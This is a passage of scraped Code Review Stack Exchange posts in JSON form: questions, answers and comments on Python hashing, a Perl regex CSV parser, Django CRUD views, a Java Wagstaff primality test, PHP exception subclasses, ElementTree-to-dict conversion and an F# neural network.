"body": "<p>I'm not a Python developer, so this might be completely missing the point. But I look at the <a href=\"http://hg.python.org/cpython/file/2.7/Lib/hashlib.py\" rel=\"nofollow\">code for hashlib.py</a>. And there is a chunk of code in the middle that looks a lot like yours, so I wonder if you're reinventing the wheel.</p>\n\n<p>Looking further at the <a href=\"http://docs.python.org/library/hashlib.html\" rel=\"nofollow\">documentation for hashlib</a> and it looks like it has a constructor which takes the name and returns a hashing object.</p>\n\n<p>So you should be able to replace half of your code with a simple</p>\n\n<pre><code>m = hashlib.new(hashmethod)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:18:27.137",
"Id": "16717",
"Score": "0",
"body": "Many thanks for the comments @pdr. The reason behind me creating this code is to simply practice coding in Python. There are quite a few hash calculators out there written in Python but I was just looking to start from scratch to learn as I go along."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T03:33:26.640",
"Id": "10425",
"ParentId": "10383",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10387",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T21:18:42.310",
"Id": "10383",
"Score": "3",
"Tags": [
"python",
"beginner",
"python-2.x",
"console"
],
"Title": "Simple hashing code with excessive conditional statements"
}
|
10383
|
<p>I am looking for a <strong><em>Perl</em></strong> (5.8.8) script for CSV parsing that would follow CVS standards.</p>
<p>(See <a href="http://en.wikipedia.org/wiki/Comma-separated_values" rel="nofollow noreferrer">Wikipedia</a> or <a href="https://www.rfc-editor.org/rfc/rfc4180" rel="nofollow noreferrer">RFC-4180</a> for details)</p>
<p>Sure, code should be fast enough, but more important is that it should use <strong><em>no libraries</em></strong> at all.</p>
<p>This is what I have for now :</p>
<pre><code>#!/usr/bin/perl
use strict;
use warnings;
sub csv {
no warnings 'uninitialized';
my ($x, @r) = (pop, ()); my $s = $x ne '';
$x =~ s/\G(?:(?:\s*"((?:[^"]|"")*)"\s*)|([^",\n]*))(,|\n|$)/{
push @r, $1.$2 if $1||$2||$s; $s = $3; ''}/eg;
$r[$_] =~ s/"./"/g for 0..@r-1;
$x? undef : @r;
}
@test = csv( '"one",two,,"", "three,,four", five ," si""x",,7, "eight",' .
' 9 ten,, ' . "\n" . 'a,b,,c,,"d' . "\n" . 'e,f",g,' );
(!defined $test[0])? die : print "|$_|\n" for @test;
</code></pre>
<hr />
<p>Same code, but with <strong><em>comments</em></strong> :</p>
<pre><code>#!/usr/bin/perl
use strict;
use warnings;
sub csv {
no warnings 'uninitialized';
# we can use uninitialized string variable as an empty without warning
my ($x, @r) = (pop, ()); my $s = $x ne '';
# function argument (input string) goes to $x
# result array @r = ()
# variable $s indicates if we (still) have something to parse
$x =~ s/\G(?:(?:\s*"((?:[^"]|"")*)"\s*)|([^",\n]*))(,|\n|$)/{
# match double-quoted element or non-quoted element
# double-quoted element can be surrounded with spaces \s* that are ignored
# and such element is any combination of characters with no odd sequence
# of double-quote character ([^"]|"")*
# non-quoted element is any combination of characters others than double-quote
# character, comma or new-line character ([^",\n]*)
# element is followed by comma or new-line character (for non-quoted elements)
push @r, $1.$2 if $1||$2||$s;
# if match found, push it to @r result array
$s = $3;
# do we (still) have something to parse?
''
# replace match with empty string, so at the end we can check if all is done
}/eg;
# /e = execute { ... } for each match, /g = repeatedly
$r[$_] =~ s/"./"/g for 0..@r-1;
# replace double double-quotes with double-quote only
$x? undef : @r;
# if $x is not empty, then CSV syntax error occurred and function returns undef
# otherwise function returns array with all matches
}
@test = csv( '"one",two,,"", "three,,four", five ," si""x",,7, "eight",' .
' 9 ten,, ' . "\n" . 'a,b,,c,,"d' . "\n" . 'e,f",g,' );
# simple test
(!defined $test[0])? die : print "|$_|\n" for @test;
# die if csv returns an error, otherwise print elements surrounded with pipe char |
</code></pre>
<hr />
<p>The code gets the following <strong><em>output</em></strong>:</p>
<pre><code>|one|
|two|
||
||
|three,,four|
| five |
| si"x|
||
|7|
|eight|
| 9 ten|
||
| |
|a|
|b|
||
|c|
||
|d
e,f|
|g|
||
</code></pre>
<p>All improvements will be appreciated.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T06:06:43.527",
"Id": "16558",
"Score": "2",
"body": "1) Wikipedia is **NOT** an authoritative source. Don't use it when quoting standards."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T06:08:23.307",
"Id": "16559",
"Score": "1",
"body": "Maybe use /x modifier in your regular expression so it can be understood by more humans. Don't use `l` (el) as a variable because it looks like a `1` (one)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T06:09:24.600",
"Id": "16560",
"Score": "4",
"body": "2) That is completely unreadable. The point of a review is to try and make the code more maintainable. As it stands this code is completely pointless. In a year when you come back you will not understand what it does let a lone how to fix it. Though Perl has a reputation of being a write once language it need not be, you can write readable maintainable and efficient perl."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T09:58:52.413",
"Id": "16565",
"Score": "0",
"body": "CSV parsing may deserve its own stackexchange site. CSV standard is virtual thing, you can hardly meet it in real CVS files. Consider MS Excel as an example. I'm not sure in the regexp: whould it parse comments, or values like \"\"word\"\",\"\"\"\" etc."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T13:33:26.297",
"Id": "16577",
"Score": "1",
"body": "Loki's point 2 almost deserves to be an answer here. Someone asking to review this code should get the \"this is unreadable, start over\" advise. All I can add is \"I hope you have a *bunch* of unittests that cover every imaginable case, else maintaining this script will be hell.\""
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T14:34:56.827",
"Id": "16582",
"Score": "1",
"body": "What's the point in adding the explanation in the question. The explanation should be with the code. An explanation not in the code is not going to help your maintainer next year (nor yourself)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T14:38:19.223",
"Id": "16583",
"Score": "0",
"body": "@stackoverflow: I never said that wikipidia was not useful. I said it was not 'authoritative`. Thus it should not be used as a reference (but maybe a way of finding a reference). Also there are standards on the internet they are called RFC. The appropriate one for CSV is [RFC-4180](http://tools.ietf.org/html/rfc4180). In this case it does not define a standard bu places a memo of what you should be able to read."
}
] |
[
{
"body": "<h3>General Overview</h3>\n\n<ul>\n<li>It is unreadable\n<ul>\n<li>This is OK as an exercise for your reg ex muscles.</li>\n<li>BUT this is not maintainable code. As such it is would never get past a code review at any company or get placed in production.</li>\n<li>You may get away with it for a one off script that you throw away.</li>\n</ul></li>\n</ul>\n\n<h3>Code Comments</h3>\n\n<p>Perl has a reputation as being unreadable. Fortunately it does not need to be (unless you are entering the <a href=\"http://en.wikipedia.org/wiki/Obfuscated_Perl_Contest\" rel=\"nofollow\">Perl obfuscated</a> contest). So best not to write Perl that is unreadable (as you will not understand it next year)</p>\n\n<ul>\n<li><p>Your code is written in a way that makes modification after release nearly imposable. A bug fix or update will have to build the reg-exp from the ground up to understand how it works.</p></li>\n<li><p>Variable names should be meaningful.</p>\n\n<ul>\n<li>There is no reason to use <code>@_</code> for example as your own variable.</li>\n</ul></li>\n<li><p>Always have the following in your code (unless there is a very good reason not too)</p>\n\n<pre><code>use strict;\nuse warnings;\n</code></pre></li>\n<li><p>It is always a good idea to run your code through lint</p>\n\n<pre><code>perl -MO=Lint foo.pl\n</code></pre></li>\n</ul>\n\n<h3>Algorithm</h3>\n\n<p>Regular expressions are not well suited for parsing complex structures. Though CSV may look simple on the surface; it is unfortunately inherently complexity with nested line breaks and quotes.</p>\n\n<p>A better idea would be to define a real parser using the grammar defined in RFC-4180 as a starting point.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T15:39:01.257",
"Id": "16591",
"Score": "6",
"body": "@stackoverflow: Your assertions that a readable code can not be light or high performance are wrong or just silly. Also regular expressions (which are general purpose) are not as efficient as a well built parser (which will be specific to the job). My suggestions re-write using a parser then time to see how much **slower you code is**."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T17:16:37.983",
"Id": "16598",
"Score": "0",
"body": "Good starting point to learn CSV parsing (grammar, readers, streams...) is http://www.csvreader.com/java_csv.php and http://ostermiller.org/utils/CSV.html"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T15:06:03.500",
"Id": "10404",
"ParentId": "10385",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "10404",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T22:45:06.620",
"Id": "10385",
"Score": "-3",
"Tags": [
"parsing",
"perl",
"csv"
],
"Title": "CSV parsing in Perl"
}
|
10385
|
<p>I'm new to Django and learning my ways around it. I'm writing a fake basic CRUD app to get me started. In the following code I pretty much copy and paste the same code four times with minor adjustments between each. I only pasted it here twice for the Bands and Album models.</p>
<p>Am I doing this right? </p>
<pre><code>from django.shortcuts import render, get_object_or_404, redirect
from django.contrib.auth.decorators import login_required
from django.template import RequestContext
from models import Band, Album, Song, Instrument
from forms import BandForm, AlbumForm
# Bands Functions:
def bands_index(request):
latest_band_list = Band.objects.all().order_by('-added_on')[:5]
return render(request,
"bands/index.html", {
'latest_band_list': latest_band_list
})
def band_detail(request, band_id):
b = get_object_or_404(Band, pk=band_id)
return render(request, 'bands/detail.html', {'band': b})
@login_required
def band_add(request):
form = BandForm(request.POST or None)
if request.method == 'POST' and form.is_valid():
instance = form.save(commit=False)
instance.added_by = request.user
instance.save()
return redirect('/bands/')
else:
return render(request, 'bands/add.html',
{'form': form},
context_instance=RequestContext(request))
@login_required
def band_remove(request, band_id):
b = get_object_or_404(Band, pk=band_id)
b.delete()
return redirect('/bands/')
@login_required
def band_edit(request, band_id):
b = get_object_or_404(Band, pk=band_id)
form = BandForm(request.POST or None, instance=b)
if request.method == 'POST' and form.is_valid():
instance = form.save(commit=False)
instance.save()
return(redirect('/bands/'))
else:
return render(request, 'bands/edit.html',
{'form': form, 'band_id': band_id},
context_instance=RequestContext(request))
# Album Functions
def albums_index(request):
latest_album_list = Album.objects.all().order_by('-added_on')[:5]
return render(request, "albums/index.html", {
'latest_album_list': latest_album_list
})
def albums_detail(request, album_id):
a = get_object_or_404(Album, pk=album_id)
return render(request, 'albums/detail.html', {'album': a})
@login_required
def album_add(request):
form = AlbumForm(request.POST or None)
if request.method == 'POST' and form.is_valid():
instance = form.save(commit=False)
instance.added_by = request.user
instance.save()
return redirect('/albums/')
else:
return render(request, 'albums/add.html',
{'form': form},
context_instance=RequestContext(request))
@login_required
def album_remove(request, album_id):
a = get_object_or_404(Album, pk=album_id)
a.delete()
return redirect('/albums/')
@login_required
def album_edit(request, album_id):
a = get_object_or_404(Album, pk=album_id)
form = AlbumForm(request.POST or None, instance=a)
if request.method == 'POST' and form.is_valid():
instance = form.save(commit=False)
instance.save()
return(redirect('/albums/'))
else:
return render(request, 'albums/edit.html',
{'form': form, 'album_id': album_id},
context_instance=RequestContext(request))
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-15T06:38:17.243",
"Id": "18880",
"Score": "0",
"body": "Do you realize that anybody can delete all bands of your website ?"
}
] |
[
{
"body": "<p>I'd say the best way to be \"less redundant\" would be to use the already-existing <a href=\"https://docs.djangoproject.com/en/1.4/ref/class-based-views/#generic-views\" rel=\"nofollow\">generic views</a> - e.g. <a href=\"https://docs.djangoproject.com/en/1.4/ref/class-based-views/#django.views.generic.detail.DetailView\" rel=\"nofollow\"><code>DetailView</code></a> instead of your <code>band_detail</code>.</p>\n\n<p>(I assume you're looking for \"the right way to do things\" rather than \"I'm reinventing the wheel to learn\"...)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T13:42:10.603",
"Id": "10401",
"ParentId": "10389",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T02:44:57.733",
"Id": "10389",
"Score": "2",
"Tags": [
"python",
"django"
],
"Title": "Am I being too redundant in this Django view (or can I reduce the repetition in my code)?"
}
|
10389
|
<p>Is it possible to make this algorithm faster ? Algorithm represents primality test for Wagstaff numbers . </p>
<pre><code>import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.MathContext;
import java.math.RoundingMode;
public class WPT
{
public static void main(String[] args)
{
int n;
n = Integer.parseInt(args[0]);
BigInteger m;
m = BigInteger.valueOf(n);
BigDecimal a = new BigDecimal("1.5");
BigDecimal b = new BigDecimal("5.5");
BigDecimal c = new BigDecimal("13.5");
BigDecimal d = new BigDecimal("16.5");
BigDecimal s;
BigDecimal r;
if (m.mod(BigInteger.valueOf(4)).equals(BigInteger.ONE))
{
s = a;
r = a;
} else {
if (m.mod(BigInteger.valueOf(6)).equals(BigInteger.ONE))
{
s = b;
r = b;
} else {
if (m.mod(BigInteger.valueOf(12)).equals(BigInteger.valueOf(11)) &&
(m.mod(BigInteger.valueOf(10)).equals(BigInteger.valueOf(1))) ||
m.mod(BigInteger.valueOf(10)).equals(BigInteger.valueOf(9)))
{
s = c;
r = c;
} else {
s = d;
r = d;
}
}
}
BigDecimal W;
W = BigDecimal.valueOf(2).pow(n).add(BigDecimal.ONE).divide(BigDecimal.valueOf(3));
int k = (n-1)/2;
for (int i = 1; i <= k; i ++)
{
s = s.pow(4).multiply(BigDecimal.valueOf(8)).subtract(s.pow(2).multiply(BigDecimal.valueOf(8))).add(BigDecimal.ONE).remainder(W).setScale(1, BigDecimal.ROUND_UP);
}
if (s.equals(r))
{
System.out.println("prime");
} else {
System.out.println("composite");
}
}
}
</code></pre>
<p>very fast corresponding Mathematica code :</p>
<pre><code>p = 269987;
W = (2^(p) + 1)/3;
If[Mod[p, 4] == 1, a = 3/2, If[Mod[p, 6] == 1, a = 11/2,
If[Mod[p, 10] == 3 || Mod[p, 10] == 7, a = 33/2, a = 27/2]]];
For[i = 1; s = a, i <= (p - 1)/2, i++,
s = Mod[ChebyshevT[4, s], W]];
If[s == a, Print["prime"], Print["composite"]];
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T17:17:57.827",
"Id": "16599",
"Score": "2",
"body": "Please use consistent indentation"
}
] |
[
{
"body": "<p>Avoid dealing with BigDecimals <em>at all costs</em> - they are slow. I changed the formula to work with \"twice the number\", so my <code>s</code> is actually 2*s. Further keep the numbers in the loop small by \"modding\" the intermediate results, too. Finally I tried to simplify the syntax and the initial conditions for <code>s</code> a little bit.</p>\n\n<pre><code>import java.math.BigInteger;\n\npublic class WPT {\n\n private final static BigInteger _1 = BigInteger.ONE;\n private final static BigInteger _2 = _(2);\n private final static BigInteger _4 = _(4);\n\n public static BigInteger _(long n) {\n return BigInteger.valueOf(n);\n }\n\n public static void main(String[] args) {\n int n = Integer.parseInt(args[0]);\n\n BigInteger m = _(n);\n\n BigInteger s =\n (m.mod(_(4)).equals(_1)) ? _(3) :\n (m.mod(_(6)).equals(_1)) ? _(11) :\n (m.mod(_(12)).equals(_(11)) &&\n (m.mod(_(10)).equals(_1)) ||\n m.mod(_(10)).equals(_(9))) ? _(27) : _(33);\n BigInteger r = s;\n\n BigInteger W = _2.pow(n).add(_1).divide(_(3));\n\n int k = (n - 1) / 2;\n\n for (int i = 0; i < k; i++) {\n BigInteger s2 = s.modPow(_2, W);\n BigInteger s4 = s2.modPow(_2, W);\n s = s4.subtract(s2.multiply(_4)).add(_2).mod(W);\n }\n\n System.out.println(s.equals(r) ? \"prime\" : \"composite\");\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T10:22:57.327",
"Id": "16566",
"Score": "0",
"body": "Thanks , your code is faster than my own but it is significantly slower than corresponding Mathematica code . I am a bit surprised with this fact ."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T10:59:49.460",
"Id": "16569",
"Score": "0",
"body": "Mathematica has probably more efficient algorithms, and `BigInteger` is immutable, so you have some object creation overhead for intermediate results. You can try out other integer implementations (e.g. `Xint` from https://github.com/PeterLuschny/Fast-Factorial-Functions , but I don't know if it has all needed operations)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-12-03T13:33:41.950",
"Id": "30804",
"Score": "0",
"body": "Java does not know how optimyse `?:` intricated `if`, so try to replace it with a traditionnal `if{.. ;} else {.. ;}` model."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T09:01:13.463",
"Id": "10393",
"ParentId": "10390",
"Score": "3"
}
},
{
"body": "<p>Starting from <a href=\"https://codereview.stackexchange.com/users/3141/landei\">Landei</a>'s solution, you can start without using <code>BigInteger</code> if <code>n</code> is a positive <code>int</code>. The only operation used is modulo, so it should pay off to stay with the primitive data types as long as possible.</p>\n\n<pre><code>import java.math.BigInteger;\n\npublic class WPT {\n\n private final static BigInteger _2 = _(2);\n private final static BigInteger _4 = _(4);\n\n public static BigInteger _(long n) {\n return BigInteger.valueOf(n);\n }\n\n public static void main(String[] args) {\n final int n = Integer.parseInt(args[0]);\n\n final BigInteger r = _(\n n % 4 == 1\n ? 3\n : n % 6 == 1\n ? 11\n : n % 12 == 11 && (n % 10 == 9 || n % 10 == 1)\n ? 27\n : 33\n );\n\n\n final BigInteger w = BigInteger.ONE.add(_2.pow(n)).divide(_(3));\n\n final int k = (n - 1) / 2;\n BigInteger s = r;\n for (int i = 0; i < k; i++) {\n BigInteger s2 = s.modPow(_2, w);\n BigInteger s4 = s2.modPow(_2, w);\n s = s4.subtract(s2.multiply(_4)).add(_2).mod(w);\n }\n\n System.out.println(s.equals(r) ? \"prime\" : \"composite\");\n }\n}\n</code></pre>\n\n<p>That's next to nothing, though. But a nice gain in readability.</p>\n\n<p>I wonder if you compare the time by executing the code in Mathematica vs starting the java program. That would be rather unfair, as Java always has to start up the virtual machine and load all the classes needed for the runtime. For a fair comparison, you should time the execution inside the <code>main</code> method. I this will become a server, you should run it a few times before you time it - the code gets optimized after some runs and the execution becomes even faster. It also depends on the version of Java. A 64 bit JVM is often faster, newer versions may also improve the execution speed.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-12-03T12:33:50.490",
"Id": "19252",
"ParentId": "10390",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10393",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T07:38:57.390",
"Id": "10390",
"Score": "4",
"Tags": [
"java",
"optimization"
],
"Title": "How can I make this primality test algorithm faster?"
}
|
10390
|
<p>Got this idea from the php.net website on extending exceptions. The main thing I wanted with this was to have the exception name auto imprinted on the exception message, so I wouldn't have to write it in each message. So far its working, just wondering if this is efficient or not?</p>
<p>Thanks</p>
<pre><code>class DataException extends Exception
{
protected $solved;
protected $howSolved;
public function __construct($message, $solved = false, $howSolved = null,
$code = 0, Exception $previous = null)
{
$this->solved = $solved;
$this->howSolved = $howSolved;
// make sure everything is assigned properly
parent::__construct($message, $code, $previous);
}
public function setSolved($isSolved)
{
$this->solved = $isSolved;
}
public function setHowSolved($howSolved)
{
$this->howSolved = $howSolved;
}
}
class GeoCoordinateOutOfBoundsException extends DataException
{
public function __construct($message, $solved = false, $howSolved = null,
$code = 0, Exception $previous = null)
{
$message = get_class($this) . "::" . $message;
// make sure everything is assigned properly
parent::__construct($message, $solved, $howSolved, $code, $previous);
}
}
</code></pre>
|
[] |
[
{
"body": "<p>I'd suggest to change arguments order in ctor for better compatibility with parent calss.\n<code>public function __construct($message, $code = 0, Exception $previous = null, $solved = false, $howSolved = null)</code>\nAnd getters for <code>$soved</code> and <code>$howSolved</code> seems to be missing.</p>\n\n<p>Why not to use magic constant <code>__CLASS__</code> instead of <code>get_class($this)</code>, which can be written as <code>get_class()</code> in your case.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T23:40:33.967",
"Id": "16627",
"Score": "0",
"body": "yeah forgot the getters for `DataException` and also changed the argument order you describe [link](http://www.php.net/manual/en/language.exceptions.extending.php), good idea I think. \n\nAs for the magic methods, I know about them, used some for serialization, `__sleep()` and `__wake()` but I find some\nof those magic methods dont provide the verbosity I like to see with explicitly named methods.. self documenting\n\nAlso I dont think adding functionality through inheritance is going against the core design priciples of OOP.. but thats another topic."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T04:42:41.133",
"Id": "16637",
"Score": "0",
"body": "I meant magic constant, not method. There are some \"pre-defined\" constants, like `__CLASS__`, `__METHOD__`, `__FUNCTION__` (RTFM). `__CLASS__` produces same results as `get_class($this)` (I do not want to open discussion that may lead to dark moments of namespaces, inheritance, traits - your case is simple). And `get_class($this)` may be reduced to `get_class()` for it has default argument."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T09:53:11.653",
"Id": "10395",
"ParentId": "10392",
"Score": "1"
}
},
{
"body": "<p>Changing an inherited method signature isn't a good idea. It means how you call a method changes depending on what exact class you're calling.</p>\n\n<p><a href=\"http://www.php.net/manual/en/language.exceptions.extending.php\" rel=\"nofollow\">Exception::__construct</a> has only 3 arguments, but the first of which can be anything. As such you could do:</p>\n\n<pre><code>class DataException extends Exception \n{\n protected $solved;\n protected $howSolved;\n\n public function __construct($message = null, $code = 0, Exception $previous = null)\n {\n $solved = $howSolved = false;\n if (is_array($message)) {\n $solved = $message['solved']; // message is an array\n ...\n $message = $message['message']; // and now it's a string to be used/compatible with the parent\n }\n</code></pre>\n\n<p>Which would work whether $message was a string or an array - and without changing the method signature.</p>\n\n<p>Why do you have setters for properties on a exception? Sounds like you're using exceptions for something they aren't designed.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T11:55:06.853",
"Id": "10398",
"ParentId": "10392",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10395",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T08:30:43.540",
"Id": "10392",
"Score": "2",
"Tags": [
"php",
"exception-handling"
],
"Title": "extending Exception to allow for auto appending class name on exception message"
}
|
10392
|
<p>Just needed a quick way to convert an elementtree element to a dict. I don't care if attributes/elements clash in name, nor namespaces. The XML files are small enough. If an element has multiple children which have the same name, create a list out of them:</p>
<pre><code>def elementtree_to_dict(element):
d = dict()
if hasattr(element, 'text') and element.text is not None:
d['text'] = element.text
d.update(element.items()) # element's attributes
for c in list(element): # element's children
if c.tag not in d:
d[c.tag] = elementtree_to_dict(c)
# an element with the same tag was already in the dict
else:
# if it's not a list already, convert it to a list and append
if not isinstance(d[c.tag], list):
d[c.tag] = [d[c.tag], elementtree_to_dict(c)]
# append to the list
else:
d[c.tag].append(elementtree_to_dict(c))
return d
</code></pre>
<p>Thoughts? I'm particularly un-fond of the <code>not instance</code> part of the last <code>if</code>.</p>
|
[] |
[
{
"body": "<pre><code>def elementtree_to_dict(element):\n d = dict()\n</code></pre>\n\n<p>I'd avoid the name <code>d</code> its not very helpful</p>\n\n<pre><code> if hasattr(element, 'text') and element.text is not None:\n d['text'] = element.text\n</code></pre>\n\n<p><code>getattr</code> has a third parameter, default. That should allow you to simplify this piece of code a bit</p>\n\n<pre><code> d.update(element.items()) # element's attributes\n\n for c in list(element): # element's children\n</code></pre>\n\n<p>The <code>list</code> does nothing, except waste memory.</p>\n\n<pre><code> if c.tag not in d: \n d[c.tag] = elementtree_to_dict(c)\n # an element with the same tag was already in the dict\n else: \n # if it's not a list already, convert it to a list and append\n if not isinstance(d[c.tag], list): \n d[c.tag] = [d[c.tag], elementtree_to_dict(c)]\n # append to the list\n else: \n d[c.tag].append(elementtree_to_dict(c))\n</code></pre>\n\n<p>Yeah this whole block is a mess. Two notes:</p>\n\n<ol>\n<li>Put everything in lists to begin with, and then take them out at the end</li>\n<li><p>call <code>elementtree_to_dict</code> once</p>\n\n<pre><code>return d\n</code></pre></li>\n</ol>\n\n<p>This whole piece of code looks like a bad idea. </p>\n\n<pre><code><foo>\n <bar id=\"42\"/>\n</foo>\n</code></pre>\n\n<p>Becomes</p>\n\n<pre><code>{\"bar\" : {\"id\": 42}}\n</code></pre>\n\n<p>Whereas</p>\n\n<pre><code><foo>\n <bar id=\"42\"/>\n <bar id=\"36\"/>\n</foo>\n</code></pre>\n\n<p>Becomes</p>\n\n<pre><code>{\"bar\" : [{\"id\" : 42}, {\"id\": 36}]}\n</code></pre>\n\n<p>The XML schema is the same, but the python \"schema\" will be different. It'll be annoying writing code that correctly handles both of these cases.</p>\n\n<p>Having said that, here's my cleanup of your code:</p>\n\n<pre><code>def elementtree_to_dict(element):\n node = dict()\n\n text = getattr(element, 'text', None)\n if text is not None:\n node['text'] = text\n\n node.update(element.items()) # element's attributes\n\n child_nodes = {}\n for child in element: # element's children\n child_nodes.setdefault(child, []).append( elementtree_to_dict(child) )\n\n # convert all single-element lists into non-lists\n for key, value in child_nodes.items():\n if len(value) == 1:\n child_nodes[key] = value[0]\n\n node.update(child_nodes.items())\n\n return node\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T08:08:15.897",
"Id": "16642",
"Score": "0",
"body": "Yep, having stuff which is 0,1+ makes stuff be sometimes lists and sometimes not. Of course this can only be fixed by either having lists always (not nice) or knowing about the XML schema and forcing stuff to be lists even though there's only one (or zero!) elements."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:16:55.000",
"Id": "10414",
"ParentId": "10400",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "10414",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T13:07:28.167",
"Id": "10400",
"Score": "6",
"Tags": [
"python",
"xml"
],
"Title": "Convert elementtree to dict"
}
|
10400
|
<p>I just programmed a basic neural network in F# to learn the logical OR function. As I am very new to F# and especially functional programming, I did it the imperative way. And even tho it works, I find it highly unattractive. I would like to improve it to make it as functional-like as possible. I though about overloading operators to make scalar products between weights and neuroninput but i don't think its the classier way to make my program nicer.</p>
<p>I want to make my code functional-like.</p>
<pre><code>module nnbasic
let mutable neuroninput = [0.0;0.0]
let mutable weight = [0.4;0.6]
let rate = 0.2
let threeshold = 2.0
// [input1; input2; desiredoutput]
let matrix = [
[0.0;0.0;0.0];
[0.0;1.0;1.0];
[1.0;0.0;1.0];
[1.0;1.0;1.0]
]
let display output real =
if output = real then printfn "yes"
else printfn "no"
let output (_ni: float list, _wi: float list) =
if threeshold > _ni.[0]*_wi.[0] + _ni.[1]*_wi.[1] then 0.0 else 1.0
let mutable iter = 0
let mutable out = 0.0
while iter < 100 do
for row in matrix do
neuroninput <- [row.[0];row.[1]]
out <- output (neuroninput, weight)
weight <- [weight.[0]+rate*(row.[2]-out);weight.[1]]
display out row.[2]
out <- output (neuroninput, weight)
weight <- [weight.[0];weight.[1]+rate*(row.[2]-out)]
if threeshold > neuroninput.[0]*weight.[0] + neuroninput.[1]*weight.[1] then display 0.0 row.[2] else display 1.0 row.[2]
iter <- iter+1
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T18:35:29.713",
"Id": "16601",
"Score": "3",
"body": "Tsk tsk... couldn't resist using `mutable` huh? :)"
}
] |
[
{
"body": "<p>Printing a list of items to the console is inherently imperative. But keeping track of lots of state between iterations using higher-order functions is often inelegant. Regardless, there are some things you can do to clean this up and (if you're compelled) get rid of mutables. Most notably, you can use tuples instead of arrays/lists with an assumed width.</p>\n\n<p>I'm not familiar with this algorithm, so I've merely translated what you have. You can implement it using a pair of mutually recursive functions. This allows you to \"persist\" the weight values between iterations.</p>\n\n<p></p>\n\n<pre><code>let rate = 0.2\nlet threshold = 2.0\n\nlet inline output a b weightA weightB = if threshold > a * weightA + b * weightB then 0.0 else 1.0\nlet inline display output real = printfn <| if output = real then \"yes\" else \"no\"\nlet inline computeWeight weight c out = weight + rate * (c - out)\n\nlet matrix = \n [|\n 0.0, 0.0, 0.0\n 0.0, 1.0, 1.0\n 1.0, 0.0, 1.0\n 1.0, 1.0, 1.0\n |]\n\nlet rec iter n weightA weightB = \n if n > 0 then\n loop n 0 weightA weightB\nand loop n i weightA weightB =\n if i < matrix.Length then\n let a, b, c = matrix.[i]\n let out = output a b weightA weightB\n let weightA = computeWeight weightA c out\n display out c\n let out = output a b weightA weightB\n let weightB = computeWeight weightB c out\n display out c\n loop n (i + 1) weightA weightB\n else iter (n - 1) weightA weightB\n</code></pre>\n\n<p>Usage:</p>\n\n<p></p>\n\n<pre><code>let initialWeightA = 0.4\nlet initialWeightB = 0.6\niter 100 initialWeightA initialWeightB\n</code></pre>\n\n<p><code>loop</code> could be implemented as a fold, but fold is not typically used with side-effects.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:07:38.727",
"Id": "16609",
"Score": "0",
"body": "Nice work. It appears that `loop` is nicely tail call optimized. I wonder if this can be made into a single tail call optimized function though. That way large values for `n` will play nicely."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:12:06.210",
"Id": "16610",
"Score": "0",
"body": "Why won't large `n`s play nicely?"
},
{
